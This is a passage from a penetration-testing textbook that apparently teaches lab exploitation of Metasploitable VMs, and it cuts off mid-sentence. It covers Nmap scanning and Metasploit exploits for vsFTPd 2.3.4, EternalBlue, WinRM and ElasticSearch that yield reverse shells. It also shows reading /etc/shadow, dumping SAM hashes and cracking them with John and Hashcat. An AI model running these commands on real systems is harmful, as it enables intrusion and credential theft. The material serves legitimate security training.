compared with other network scanners in the industry. Instead, it patiently waits for any host 
to transmit ARP messages over the network, and then captures and analyzes these messages 
to identify addressing information such as MAC and IP addresses of live devices.

Keep in mind that while passive network scanners help to maintain a level of stealth on a 
network, they don’t always detect live systems as compared to performing active scanning 
techniques. For instance, a targeted system may not be generating network traffic for many 
reasons. If a penetration tester is performing passive scanning only, there’s a possibility the 
targeted host may not be identified.

4. Next, let’s use Nmap to perform a ping sweep across the entire network to actively identify 
any live hosts on the network:

kali@kali:~$ nmap -sn 172.30.1.0/24

As shown in the following screenshot, Nmap was able to quickly identify live systems on the 
172.30.1.0/24 network:

Figure 9.17: Ping scan

As shown in the preceding screenshot, there are two live hosts on the network; these are 
172.30.1.20 and 172.30.1.21.

Since this exercise is being performed within a virtualized environment, our 
targeted systems may not be generating sufficient network traffic as we would 
experience on a real production network. Therefore, if you’re unable to detect 
any ARP messages, simulate network traffic by performing pings between the 
Metasploitable 2 and Metasploitable 3 (Windows-based) virtual machines.
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5. Next, let’s use NBTscan to determine and identify live machines that respond to NetBIOS over 
TCP/IP, as these live systems will be an indicator of machines that belong to a Windows-based 
network or that run NetBIOS services:

kali@kali:~$ sudo nbtscan 172.30.1.20-21

The preceding range command enables us to scan from a lower limit to an upper limit, such 
as 172.30.1.20 to 172.30.1.21. The following screenshot shows the NetBIOS names of the 
targeted systems, but the server and logged-on user information is not available:

Figure 9.18: Identifying live systems

6. Next, let’s use Nmap to perform a port scan of the top 1,000 ports (the default) on the Metasploit-
able 3 (Windows-based) virtual machine to determine which ports are open and the running 
services:

kali@kali:~$ nmap 172.30.1.21

Within many organizations around the world, IT professionals commonly disable 
or block Internet Control Message Protocol (ICMP) messages to and from their 
critical systems as a method of preventing novice hackers from identifying live 
systems on their network. While blocking ICMP can obscure a network’s visibil-
ity from a novice threat actor, it does not render the network invisible to more 
sophisticated scanning techniques that leverage Transmission Control Protocol 
(TCP) and User Datagram Protocol (UDP).

However, Nmap’s ping sweep does not send ICMP probes to the target; rather, it 
leverages TCP messages to determine whether specific ports are open on the tar-
geted system. Therefore, if ICMP is restricted on a network, there’s a likelihood 
that TCP messages are permitted.

 The nbtscan -r 172.30.1.0/24 command can be used to scan the entire subnet.

With nbtscan, you can scan a single IP address, a range of addresses as shown in 
the highlight command and even a subnet too. Please don’t modify the commands 
in step 5.
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The following screenshot shows that Nmap was able to profile the running services on the top 
1,000 ports (the default) on the targeted system:

Figure 9.19: Open ports

As an aspiring ethical hacking and penetration tester, it’s important to perform further research to 
identify the role and function of each identified port and the associated running service to discover 
security vulnerabilities. Sometimes, Nmap does not have the signature to profile each service and 
operating system; hence, additional research is sometimes needed.

The information found in this section has provided you with a better understanding of how to identify 
live systems on a targeted network, their open ports, and running services. In the next section, we 
will take a deeper dive into profiling a targeted system.

Profiling a targeted system
Profiling targeted systems is important as it helps you determine the operating system and the service 
pack level. By understanding the operating system version, you’ll be able to search for and discover 
security vulnerabilities on those systems, and even create exploits and payloads that have been spe-
cifically crafted to work on the target’s operating system.

Additionally, when profiling a target, you’ll be able to identify the service versions of open service ports. 
Such information will be useful as there are many systems within organizations that run outdated and 
vulnerable applications. These vulnerable services can be exploited by a penetration tester during a 
penetration test engagement.
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To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux, Metasploitable 2, and Metasploitable 3 (Windows-based) 
virtual machines.

2. On Kali Linux, open Terminal and use Nmap to identify the operating system and service 
versions of running services, and perform Server Message Block (SMB) script scanning with 
Metasploitable 3 (Windows-based) as the targeted system:

kali@kali:~$ nmap -A 172.30.1.21

The following screenshot shows that Nmap was able to profile the target to be running a Mic-
rosoft Windows Server 2008 R2 Standard machine with Build 7601 Service Pack 1:

Figure 9.20: OS identification

In addition, the hostname and NetBIOS name were revealed in the preceding screenshot. 
Furthermore, the following screenshot provides details on the SMB service level and user 
account details:

Figure 9.21: SMB scan results

3. Next, let’s use Nmap to profile the Metasploitable 2 virtual machine on the 172.30.1.0/24 
network:

kali@kali:~$ nmap 172.30.1.20

Ensure that you correctly specify the IP address of the Metasploitable 3 (Win-
dows-based) virtual machine. The -A (all) syntax enables Nmap to perform mul-
tiple functions, such as determining the operating system, hostname and NetBIOS 
name, user account, and SMB details.



Performing Network Penetration Testing346

As shown in the following screenshot, Nmap was able to identify whether any of the top 1,000 
ports were open on the targeted system:

Figure 9.22: Checking for open ports

4. Next, let’s identify the operating system and service version of the Metasploitable 2 virtual 
machine:

kali@kali:~$ nmap -A 172.30.1.20

The following screenshot shows that Nmap was able to identify various running services that 
can be used to research known security vulnerabilities:
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Figure 9.23: Service version scanning

In the following screenshot, we see that Nmap was able to identify the targeted operating 
system as Linux with SMB services enabled:

Figure 9.24: Profiling operating system on target

Using the information found in this section, we can determine that there are two live systems 
on the network – one is Windows-based and the other is Linux-based, and both have SMB en-
abled. As a penetration tester, we can start looking for security vulnerabilities for each service 
running on both Windows Server 2008 R2 and the Linux target systems.
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In the next section, you’ll learn how to use various techniques and procedures to identify and exploit 
security vulnerabilities on targeted systems.

Identifying and exploiting vulnerable services
In this section, you will learn how to use various techniques and tools within Kali Linux. These will help 
you efficiently identify and exploit security vulnerabilities found on both Windows and Linux-based 
operating systems that have vulnerable applications and network services running on them.

Exploiting Linux-based systems
In this section, you will learn how to discover and exploit the low-hanging fruits, which are easy-
to-exploit security vulnerabilities on a targeted system, with the intention to compromise and gain 
unauthorized access to the target. The low-hanging fruits are simply the security vulnerabilities that 
are easier to compromise, use fewer resources, and are not complex. In the following exercise, you 
will learn how to identify a security vulnerability within the File Transfer Protocol (FTP) service on 
the targeted Linux-based system.

To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open Terminal and use Nmap to identify whether Metasploitable 2 (target) is 

running any FTP services on port 21 and determine its service version:

kali@kali:~$ nmap -A -p 21 172.30.1.20

As shown in the following screenshot, Nmap verified that the targeted system is online and 
port 21 is open. In addition, Nmap was able to identify the service version of the FTP service 
as vsFTPd 2.3.4:

When profiling a system with Nmap, it’s recommended to include the -p- or -p 1-65535 
syntax to scan all 65,535 service ports on your target. Identifying all open ports and running 
services helps penetration testers look for all security vulnerabilities that may exist on the 
target system. While the list of common syntaxes is a bit too long to cover, you can visit the 
official Nmap Reference Guide at https://nmap.org/book/man.html for more information.

https://nmap.org/book/man.html
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Figure 9.25: Port scanning

If you recall from Chapter 6, Active Reconnaissance, using the -p syntax enables Nmap to scan for 
a specific port on a targeted system. This helps us focus on identifying security vulnerabilities 
on a specific port and services on a target.

3. Next, let’s perform additional research using Google Search to identify whether vsFTPd 2.3.4 
has any known security vulnerabilities and how a real adversary can exploit it:

 

Figure 9.26: Researching vulnerability 
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As shown in the preceding screenshot, the Rapid7 link describes a known security vulnerability 
within the vsFTPd 2.3.4 application and provides details on specific exploitation modules 
within Metasploit that can be used to test whether the vulnerability exists on a targeted sys-
tem. Furthermore, the Exploit-DB link provides information on the exploit code, which can 
be compiled and executed by a threat actor to exploit the vsFTPD 2.3.4 service on the target.

4. Next, let’s use Metasploit, an exploitation development framework pre-installed on Kali Linux, 
to test whether a real adversary can exploit the vulnerable service. On Kali Linux, use the 
following command to start Metasploit:

kali@kali:~$ msfconsole

5. Next, use the search command within Metasploit to find all relevant modules that contain the 
keyword vsftpd, as shown below:

msf6 > search vsftpd

As shown in the following screenshot, Metasploit contains an auxiliary mode for performing 
a Denial of Service (DoS) attack, and an exploit mode for compromising the vulnerable FTP 
service to obtain a backdoor with command execution:

Figure 9.27: Finding Metasploit modules

6. Next, use the following Metasploit commands to leverage the exploit module and compro-
mise the target:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/
interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.30.1.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Use the options or show options command within a Metasploit module to de-
termine which options are mandatory prior to executing the module.
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The following screenshot shows that Metasploit has packaged the exploit code (weaponization), 
delivered the exploit onto the target over the network (delivery), took advantage of the security 
vulnerability (exploitation), and spawned a bind shell by delivering the payload (post-exploita-
tion), as shown below:

Figure 9.28: Exploiting the security vulnerability

As shown in the preceding screenshot, the exploit module was able to create a backdoor with 
the root account on the target and provide a shell to us. When entering any Linux command, 
such as whoami and dir, it will be remotely executed and the results will be returned on the shell.

7. It can be a bit challenging to work with a bind shell from a Linux-based system. Therefore, 
using the following commands enables us to create a Python-based pseudo-Terminal shell 
from the existing bind shell:

Figure 9.29: Creating a Python-based pseudo-Terminal shell

As shown, spawning this shell interface enables us to better interpret our input and differ-
entiate the responses from the targeted system. For instance, entering the whoami command 
provided the response as the root user.

8. Since we’ve obtained a shell on the targeted system with root privileges, let’s attempt to retrieve 
a list of local user accounts that are stored within the shadow file on the targeted system. Use 
the following command:

root@metasploitable:/# cat /etc/shadow
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The following screenshot shows the contents of the /etc/shadow file, which includes the local 
user accounts and their password hashes:

Figure 9.30: Viewing the shadow file

The contents of this file can be useful in later phases of penetration testing, such as performing 
password cracking to retrieve the plaintext form of the password from its hash. Retrieving 
such information will further help us gain unauthorized access to the target and enable us to 
leverage privileged accounts.

9. Next, copy and paste the contents of the /etc/shadow file into Simple TextEditor, click on the 
Kali Linux icon (top-left corner) > Usual Applications > Accessories > Text Editor, and save 
the file as user_hashes.txt on the desktop within Kali Linux, as shown below:

Figure 9.31: Creating a new file

10. Next, we can use a popular password-cracking tool such as John the Ripper to perform offline 
password cracking to retrieve the plaintext password from the user_hashes.txt file by que-
rying the rockyou.txt wordlist:

To better understand the file format of the /etc/shadow file, please see https://
www.techtarget.com/searchsecurity/definition/shadow-password-file 
and https://www.cyberciti.biz/faq/understanding-etcshadow-file/.

https://www.techtarget.com/searchsecurity/definition/shadow-password-file
https://www.techtarget.com/searchsecurity/definition/shadow-password-file
https://www.cyberciti.biz/faq/understanding-etcshadow-file/
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kali@kali:~$ john /home/kali/Desktop/user_hashes.txt --wordlist=/usr/
share/wordlists/rockyou.txt

The following screenshot shows John the Ripper was able to retrieve the plaintext passwords 
for a few user accounts but not all:

Figure 9.32: Password cracking with John the Ripper

Keep in mind that when performing directory-based password attacks with a wordlist, if the 
password does not exist within the wordlist, the attack will not be successful. Therefore, it’s 
recommended to try additional wordlists to increase the likelihood of retrieving the password 
for all user accounts found within the /etc/shadow file.

Having completed this section, you have learned how to discover and exploit a vulnerable service 
on a Linux machine. In the next section, you will learn how to exploit systems that are running SMB.

Compromising Windows-based systems
SMB is a common network service that’s found on many client and server systems within an orga-
nization. SMB allows hosts to remotely share and access files over a TCP/IP network. As in many 
companies, this network protocol provides a lot of convenience for many users who are sharing files 
with others across a large organization.

However, over the years, many threat actors and cybersecurity professionals have discovered various 
security vulnerabilities within the SMB network protocol. Some of these led to major cyber attacks 
around the world that affected many organizations.

Over the next few subsections, you will discover how to use Kali Linux as the attacker system to dis-
cover and exploit the security vulnerabilities found within the SMB network protocol on a vulnerable 
system. For our target, we will be using the Metasploitable 3 (Windows-based) virtual machine, which 
will function as a vulnerable target on an organization’s network.

Exploiting vulnerable SMB services
In 2017, threat actors launched one of the most well-known ransomware attacks on the internet that 
affected many Microsoft Windows systems around the world. This is known as the WannaCry ran-
somware. WannaCry took advantage of a security vulnerability on Windows operating systems that 
run SMB version 1.
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According to the Microsoft security bulletin MS17-010, this vulnerability affected systems ranging 
from Windows Vista to Windows Server 2016. Since it allowed threat actors to perform Remote Code 
Execution (RCE) on their targets, it was given the code name EternalBlue. While the EternalBlue vul-
nerability seems a bit dated at the time of writing, there are many Windows operating systems within 
organizations around the world that are still unpatched and vulnerable.

To get started with identifying and exploiting vulnerable SMB services on a targeted Windows-based 
system, please use the following instructions:

1. Firstly, power on both the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following command to determine whether the 

target is online:

kali@kali:~$ nmap -sn 172.30.1.0/24

The following screenshot shows that the host 172.30.1.21 (Metasploitable 3) is live on the 
network:

Figure 9.33: Ping scan

3. Next, use the following Nmap command to identify whether ports 136, 137, 138, 139, and 445 
are open on the target:

kali@kali:~$ sudo nmap -sV -p 136-139,445 172.30.1.21

As shown in the following screenshot, Nmap has identified that ports 136–139 and 445 are 
open on the targeted system. In addition, Nmap was able to identify the host operating system 
of the target: 

To learn more about the SMB security vulnerability that was referenced in Microsoft’s se-
curity bulletin MS17-010, please see the following link: https://learn.microsoft.com/
en-us/security-updates/securitybulletins/2017/ms17-010. More information on 
EternalBlue can be found at https://www.wired.com/story/eternalblue-leaked-
nsa-spy-tool-hacked-world/.

https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://www.wired.com/story/eternalblue-leaked-nsa-spy-tool-hacked-world/
https://www.wired.com/story/eternalblue-leaked-nsa-spy-tool-hacked-world/
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Figure 9.34: Service version and port scanning

4. Next, either on the same Terminal or another, use the following command to start the Metasploit 
framework on Kali Linux:

kali@kali:~$ msfconsole

5. Once the Metasploit framework has initiated, use the search command with the keyword ms17-
010 to find relevant modules that are associated with the EternalBlue MS17-010 security bulletin:

msf6 > search ms17-010

As shown in the following screenshot, Metasploit has a few auxiliary and exploitation modules 
to help us determine whether the target is truly vulnerable to EternalBlue:

Figure 9.35: Finding Metasploit modules

6. Next, let’s use an auxiliary scanner to identify whether the target is vulnerable to EternalBlue 
before attempting exploitation on the SMB service. Use the following commands:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 172.30.1.21
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

As shown in the following screenshot, the target is vulnerable to MS17-010:

Figure 9.36: Checking the vulnerability on the target
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7. Next, let’s move on to the exploitation phase to gain a foothold on the targeted system. Use 
the following Metasploit command to use an exploit mode from our previous search results:

msf6 > use exploit/windows/smb/ms17_010_eternalblue

8. Once you’ve selected the exploit/windows/smb/ms17_010_eternalblue exploit module, 
Metasploit automatically couples the windows/meterpreter/reverse_tcp payload module 
with the exploit, as shown below:

Figure 9.37: Loading an exploit module

This means that once the exploit is delivered to the targeted system, it will execute within 
the target’s memory to take advantage of the SMBv1 vulnerable service. Once the exploit is 
successful, Metasploit will then send the payload across to the target, which will be executed 
within memory and create a reverse shell back to Kali Linux, therefore enabling us to perform 
RCE and post-exploitation operations.

9. Next, use the following commands to set RHOSTS (targeted system) and LHOST (Kali Linux) and 
launch the attack:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/
meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.30.1.21                                                                        
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.30.1.50                                                                                                  
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit  

Once the exploit and payload have been executed successfully on the target, you will automat-
ically obtain a Meterpreter shell on Kali Linux. You can use the help command within Meter-
preter to view all the actions you can perform. By using Meterpreter, you can remotely execute 
commands on the target system from your Kali Linux machine on the compromised system.

Type back to exit the Metasploit module. The exit command will quit the 
Metasploit tool.

When working within a module in Metasploit, use the options command to check 
whether you need to set various parameters for a module, such as RHOSTS (target) 
and LHOST (attacker machine).



Chapter 9 357

If the exploit fails on the first run, execute the exploit command again to re-attempt it. Some-
times, the exploit can even crash the target, as shown below:

Figure 9.38: Target crashing 

Since the target is within our lab environment, if it crashes, reboot the machine and try again.

The following screenshot shows that Metasploit was able to identify the target as vulnerable 
to MS17-010 and has established a connection to deliver the exploit code:

Figure 9.39: Delivering exploit to target
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10. Next, the following screenshot shows Metasploit sending the exploit to the target:

Figure 9.40: Sending malicious code

11. Finally, Metasploit delivered the payload, and a reverse shell was established from the target 
to Kali Linux:

Figure 9.41: Obtained reverse shell

As shown in the preceding screenshot, we’ve gotten a Meterpreter shell (reverse shell) from 
the target.

12. Next, use the hashdump command within Meterpreter to extract the contents of the Security 
Account Manager (SAM) file:

meterpreter > hashdump
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The SAM file is found within Microsoft Windows operating systems in the %SystemRoot%/
system32/config/SAM directory and contains a record of all local user accounts, their Security 
Identifier (SID) values, and password hashes, as shown below:

Figure 9.42: Extracting the SAM file

As shown in the preceding screenshot, you can identify the usernames as they are plaintext, 
the LAN Manager (LM), and New Technology LAN Manager (NTLM) password hashes for 
each local user account. The SAM file stores each user’s credentials in the following format:

Username : Security Identifier (SID) : LM hash : NTLM hash

13. Next, save the output from the hashdump command (SAM file) in a text file called passwordhashes.
txt on the Kali Linux Desktop. This will be used for performing offline password cracking to 
identify the plaintext passwords of users in a later section of this chapter, Cracking hashes with 
Hashcat.

14. Additionally, save the user Administrator with its LM and NTLM hashes into another text file, 
name it admin_user.txt, and use the following format:

Administrator:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c 
245d35b50b
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15. Next, to identify a hash type, use the hashid <hash value> command on Kali Linux, as shown 
below:

Figure 9.43: Checking hash type

As shown in the preceding screenshot, hashID was able to match the hash with a few hash types, 
including NTLM. Identifying hashes can be useful in performing password-cracking techniques.

Keep in mind that Microsoft Windows operating systems do not store local users’ passwords 
in plaintext. Instead, they parse the plaintext password through a hashing algorithm such as 
NTLM, which performs a one-way function of converting the plaintext password into a cryp-
tographic NTLM digest (hash). This process is non-reversible. The NTLM hash of each local user 
account is stored within the SAM file.

Windows systems have moved toward more secure methods of password storage, such as using 
the NT hash or Kerberos, especially in newer versions of Windows. These methods are more 
resistant to certain types of attacks compared to older NTLM hashes.

To send a Meterpreter session to the background without terminating the session, 
use the background command. To view all active sessions on Metasploit, use the 
sessions commands. To interact with a specific session, use the session -i 
<session -ID> command.
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Having completed this exercise, you have learned how to compromise a target Windows operating 
system that is vulnerable to the ExternalBlue vulnerability. Additionally, you learned how to retrieve 
the contents of the SAM files stored on Microsoft Windows operating systems.

These password hashes can be used in an attack known as passing the hash. Next, you will learn how 
to perform an offline password attack on the administrator password.

Cracking hashes with Hashcat
Hashcat is a super awesome advanced password recovery application that enables penetration tes-
ters to perform offline password-based attacks. Hashcat uses techniques such as dictionary attacks, 
brute-force attacks, and mask attacks for cracking hashed passwords. Many password-cracking tools 
often leverage the processor of a computer, and Hashcat leverages the computing power of the Cen-
tral Processing Unit (CPU) and Graphics Processing Unit (GPU). However, when using Hashcat, it’s 
always recommended to use the GPU rather than the CPU to gain better performance during the 
password-cracking process.

For Hashcat to efficiently take advantage of the computing power on the GPU of a system, it needs 
direct access to the hardware component. Hashcat relies on low-level hardware interactions to achieve 
maximum performance, but in virtualized or cloud environments, access to hardware resources is often 
restricted, which limits Hashcat’s effectiveness. This means that if you’re attempting to use Hashcat 
within a virtualized or cloud environment, there’s a high possibility it will not work as expected or you 
won’t have high performance. Therefore, it’s recommended to install Hashcat on your host operating 
system, which has direct access to your dedicated GPU/graphics card.

In this exercise, you will learn how to perform offline password cracking using Hashcat to retrieve 
the plaintext passwords from the passwordhashes.txt file. To get started with this exercise, please 
use the following instructions:

1. Firstly, let’s use Hashcat to perform offline password cracking by leveraging the CPU on Kali 
Linux. On Kali Linux, open Terminal and use the following command to determine the code 
for the attack mode and hash type for Hashcat:

kali@kali:~$ man hashcat
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The following screenshot shows the supported attack modes and hash types. For our pass-
word-based attack, we’ll use the rockyou.txt wordlist with attack mode 0 and hash type 1000 
for NTLM:

Figure 9.44: Hashcat

2. Next, use the following commands to perform offline password-cracking on the hashes within 
the passwordhashes.txt file:

kali@kali:~$ hashcat -m 1000 /home/kali/Desktop/passwordhashes.txt -a 0 /
usr/share/wordlists/rockyou.txt 

The following screenshot shows that Hashcat was able to retrieve some passwords from the 
hashes:

The –m 1000 syntax enables us to specify the hash type as NTLM and –a 0 specifies 
the attack type for using a wordlist (dictionary-based).
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Figure 9.45: Password cracking with Hashcat

3. Once the Hashcat process is completed, you can append the --show syntax at the end of the 
previous command to show the results, as shown below:

kali@kali:~$ hashcat -m 1000 /home/kali/Desktop/passwordhashes.txt -a 0 /
usr/share/wordlists/rockyou.txt --show

The following screenshot shows the hashes and the plaintext passwords:

Figure 9.46: Viewing cracked passwords

As shown in the preceding screenshot, the first NTLM hash belongs to the administrator user on 
the targeted system. This means the plaintext password can be leveraged to gain unauthorized 
access to the target while pretending to be someone else, such as the administrator.

4. Additionally, you can perform password cracking on a single hash at a time by placing the NTLM 
hash within quotation marks, as shown below:

kali@kali:~$ hashcat -m 1000 "e02bc503339d51f71d913c245d35b50b" /usr/
share/wordlists/rockyou.txt

The preceding steps can be performed on a host running the Windows operating system with 
a dedicated GPU. Keep in mind that if a dedicated GPU is not detected by Hashcat, instead, it 
will default to using the processor on the host system.

To download the Hashcat binaries for Windows, go to https://hashcat.net/
hashcat/.

https://hashcat.net/hashcat/
https://hashcat.net/hashcat/
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Having completed this exercise, you have learned how to perform password cracking on hashes to 
retrieve the plaintext passwords for compromised user accounts. Next, you will learn how to exploit 
a common Windows service and gain a foothold on the host.

Exploiting Windows Remote Management
In a Windows-based environment, IT professionals often require the ability to remotely manage and 
execute commands on other Windows-based devices. For this purpose, they rely on a common proto-
col or application like Web Services Management (WS-Management). WS-Management allows for the 
exchange of management information across different operating systems and services on a network.

Notably, Microsoft has developed its own implementation of the WS-Management protocol, known 
as Windows Remote Management (WinRM), tailored specifically for Microsoft Windows operating 
systems.

In this exercise, you will learn how to discover and exploit a remote host on a network that’s running 
the WinRM protocol. To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux (attacker machine) and Metasploitable 3 (Windows-based) 
virtual machines.

2. On Kali Linux, use Nmap to scan the target to determine whether WinRM is running as a 
service on its default port, which is port 5985:

kali@kali:~$ nmap -sV -p 5985 172.30.1.21

As shown in the following screenshot, Nmap was able to identify that port 5985 is open on 
the targeted system:

Figure 9.47: Port scanning 

To learn more about Microsoft WinRM, please see the official documentation at https://
learn.microsoft.com/en-us/windows/win32/winrm/portal.

https://learn.microsoft.com/en-us/windows/win32/winrm/portal
https://learn.microsoft.com/en-us/windows/win32/winrm/portal
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As shown in the preceding screenshot, Nmap detected that the Hypertext Transfer Protocol 
(HTTP) service is running on port 5985. As a penetration tester, upon seeing that an HTTP 
service has been detected on a non-standard port, it’s important to determine whether a web 
application is actually running on the targeted system. Therefore, attempting to connect to the 
web application using HTTP on port 5985 does not return anything, as shown here:

Figure 9.48: Checking web service

3. Changing the application-layer protocol to HTTPS to determine whether a webpage would 
load was unsuccessful, as shown below:

Figure 9.49: Unable to connect to web service

While performing research to determine if there are any other network- or application-layer 
protocols that also use port 5985, the results show that port 5985 is commonly attributed to 
Microsoft WinRM based on https://www.speedguide.net/port.php?port=5985.

Port 5985 is typically associated with the WinRM service, not HTTP. HTTP typically 
runs on port 80 or 8080 for standard web traffic. More than likely, the detected 
service is using HTTP as its transport protocol within WinRM.
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4. Next, use the following command to start the Metasploit framework on Kali Linux:

kali@kali:~$ msfconsole

5. Once the Metasploit user interface loads, use the search winrm command to find any modules 
that support the data collection and exploitation of WinRM on a targeted system, as shown 
below:

Figure 9.50: Finding the Metasploit module

As shown in the preceding screenshot, Metasploit contains both auxiliary and exploit mod-
ules for WinRM.

6. Next, use the following commands on Metasploit to enumerate the WinRM service to collect 
sensitive information:

msf6 > use auxiliary/scanner/winrm/winrm_cmd
msf6 auxiliary(scanner/winrm/winrm_cmd) > set USERNAME Administrator
msf6 auxiliary(scanner/winrm/winrm_cmd) > set PASSWORD vagrant
msf6 auxiliary(scanner/winrm/winrm_cmd) > set RHOSTS 172.30.1.21
msf6 auxiliary(scanner/winrm/winrm_cmd) > run

As shown in the following screenshot, when the auxiliary/scanner/winrm/winrm_cmd module 
executes successfully, it executes the ipconfig /all command on the Windows Command 
Prompt and enumerated networking information on the target:

If you recall, we were able to retrieve the plaintext password for the Administrator 
user account during the password-cracking exercises earlier in this chapter. Hence, 
we’re able to use the Administrator account to further leverage unauthorized 
access and perform additional exploitation on the targeted system.
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Figure 9.51: Exploiting the vulnerable service

7. While within the auxiliary/scanner/winrm/winrm_cmd module, use the options command 
to determine the current settings for the CMD option, as shown below:

Figure 9.52: Viewing module options

8. Next, let’s attempt to retrieve the hostname of the targeted system using the following com-
mands:

msf6 auxiliary(scanner/winrm/winrm_cmd) > set CMD hostname
msf6 auxiliary(scanner/winrm/winrm_cmd) > run
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As shown in the following screenshot, the hostname command ran successfully and the host-
name of the targeted system was revealed:

Figure 9.53: Executing commands

9. Next, use the back command to exit the module.
10. Next, let’s attempt to exploit the WinRM service on the target. Use the following commands to 

set the remote IP address of the target as RHOSTS and the local IP address of Kali Linux as LHOST:

msf6 > use exploit/windows/winrm/winrm_script_exec 
msf6 exploit(windows/winrm/winrm_script_exec) > set RHOSTS 172.30.1.21
msf6 exploit(windows/winrm/winrm_script_exec) > set LHOST 172.30.1.50

After selecting the exploit/windows/winrm/winrm_script_exec module, a reverse shell pay-
load was automatically coupled with the exploit module within Metasploit.

11. For the exploit/windows/winrm/winrm_script_exec module to have a better chance of success, 
force the exploit module to use the VBS CmdStager option:

msf6 exploit(windows/winrm/winrm_script_exec) > set FORCE_VBS true
msf6 exploit(windows/winrm/winrm_script_exec) > set USERNAME 
Administrator
msf6 exploit(windows/winrm/winrm_script_exec) > set PASSWORD vagrant
msf6 exploit(windows/winrm/winrm_script_exec) > exploit

As shown in the following screenshot, the exploit module is sending over its payload to the 
targeted system:

Figure 9.54: Launching exploit 

If the session has died, press CTRL + C on your keyboard to abort and run the exploit command 
again. Sometimes, an exploit fails when you first launch it, sometimes due to loss of connec-
tivity to the targeted system; therefore, it’s recommended to try again.
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Once the payload is delivered and executed within the memory of the targeted system, you’ll 
obtain a Meterpreter session (reverse shell), as shown below:

Figure 9.55: Meterpreter session

As shown in the preceding screenshot, the exploit was able to compromise a known vulnera-
bility within the WinRM service, the payload was delivered and executed to establish a reverse 
shell, and the malicious process was automatically migrated to a less suspicious service on 
the targeted system.

Having completed this exercise, you have learned how to discover, enumerate, and exploit a Win-
dows-based system running a vulnerable WinRM service. Next, you will learn how to exploit the 
ElasticSearch service on a host machine.

Exploiting ElasticSearch 
Earlier in this chapter, while discovering and profiling host systems within our lab network, Nmap 
detected a very interesting service port that was open on the Metasploitable 3 machine. This was 
service port 9200, used by ElasticSearch. 

ElasticSearch is a special analytical search engine that operates in a distributed deployment module 
and uses REpresentational State Transfer (RESTful) searches to help professionals perform very pow-
erful data analytics on large amounts of data. Exploiting ElasticSearch enables penetration testers to 
determine whether it’s a vulnerable service, how a threat actor can compromise the target, and the 
potential impact if the vulnerability is exploitable.

In this exercise, you will learn how to exploit the ElasticSearch service on a target system and perform 
RCE. To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following command to start the Metasploit frame-

work:

kali@kali:~$ msfconsole
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3. After the Metasploit user interface loads, use the search elastic command to find all modules 
that have the elastic keyword, as shown below:

Figure 9.56: Locating the Metasploit module

4. Next, use the following commands to work with the first exploit module from the preceding 
list:

msf6 > use exploit/multi/elasticsearch/script_mvel_rce
msf6 exploit(multi/elasticsearch/script_mvel_rce) > set RHOSTS 
172.30.1.21
msf6 exploit(multi/elasticsearch/script_mvel_rce) > set LHOST 172.30.1.50
msf6 exploit(multi/elasticsearch/script_mvel_rce) > exploit

Ensure that RHOSTS is set to the IP address of the targeted system (that is, Metasploitable 3 
(Windows-based)) and LHOST is set to the IP address of Kali Linux.

As shown in the following screenshot, the exploit ran successfully and a Meterpreter shell 
was obtained:

Figure 9.57: Exploit successful

Having completed this exercise, you have learned how to exploit the ElasticSearch service on a vul-
nerable target. Next, you will learn how to exploit a very common network protocol and perform 
enumeration on the target.



Chapter 9 371

Exploiting Simple Network Management Protocol
Within many organizations, whether small, medium, or large, IT professionals always look for inno-
vative solutions to monitor the assets on their networks, such as clients, servers, and even networking 
devices. Simple Network Management Protocol (SNMP) is a very popular networking protocol that 
allows IT professionals to remotely monitor and perform device configurations on hosts across a 
network. SNMP operates on User Datagram Protocol (UDP) service port 161 by default and operates 
with an SNMP Manager application installed on the IT professional’s computer, an SNMP Agent op-
erating on the remote host to monitor, and a Management Information Base (MIB), which the SNMP 
Agent uses to perform queries and configurations on a device. The MIB is a database that organizes 
and defines the structure of the objects in a device being monitored via SNMP. The MIB provides a 
standardized way for SNMP managers and agents to communicate and understand the data.

In this section, you will learn how to enumerate sensitive information from a remote host that is run-
ning the SNMP network protocol. To get started with this exercise, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following Nmap commands to determine whether 

TCP and UDP port 161 are open on Metaploitable 3:

kali@kali:~$ sudo nmap -sU -sT -p U:161,T:161 172.30.1.21

As shown in the following screenshot, only UDP port 161 is open on the target:

Figure 9.58: Port scanning 

To learn more about SNMP and its versions, please visit https://www.fortinet.com/
resources/cyberglossary/simple-network-management-protocol.

By default, Nmap scans TCP ports. Using the U: syntax specifies that it should 
perform a scan on a specific UDP service port, while the T: syntax specifies that 
it should scan a specific TCP service port.

https://www.fortinet.com/resources/cyberglossary/simple-network-management-protocol
https://www.fortinet.com/resources/cyberglossary/simple-network-management-protocol
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3. Next, use the following command to start the Metasploit framework on Kali Linux:

kali@kali:~$ msfconsole

4. Once the Metasploit framework loads, use the search snmp_enum command to find any SNMP 
enumeration modules, as shown below:

Figure 9.59: Finding the Metasploit module

5. Next, use the following commands to set the SNMP enumeration module and the target’s IP 
address, and execute the module:

msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 172.30.1.21
msf6 auxiliary(scanner/snmp/snmp_enum) > run

The following screenshot shows that the SNMP enumeration module was successfully able to 
